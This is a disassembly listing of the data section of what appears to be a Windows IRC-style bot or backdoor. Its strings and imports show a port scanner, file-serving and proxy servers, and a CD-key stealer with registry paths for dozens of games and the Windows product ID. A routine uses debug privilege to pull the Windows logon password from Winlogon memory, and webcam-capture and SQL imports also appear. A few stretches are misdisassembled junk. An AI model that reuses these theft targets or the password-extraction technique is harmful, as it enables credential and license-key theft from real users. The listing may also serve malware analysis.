6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5341o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E20o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 43C80Ch, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 43C80Ch, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 43C80Ch, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 43C80Ch, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 43C80Ch, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 43C80Ch, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 43C80Ch, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 43C80Ch, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 43C80Ch, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 43C80Ch, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 43C80Ch, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al or al, 0C8h inc ebx add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 43C80Ch, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 43C80Ch, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 43C80Ch, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 43C80Ch, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 43C80Ch, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 43C80Ch, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 43C80Ch, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 43C80Ch, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 43C80Ch, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: ___:004312F0o db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413643o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset a?baSDaziU4csiX ; "?B(֜S}z\x1BU4>]" dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; 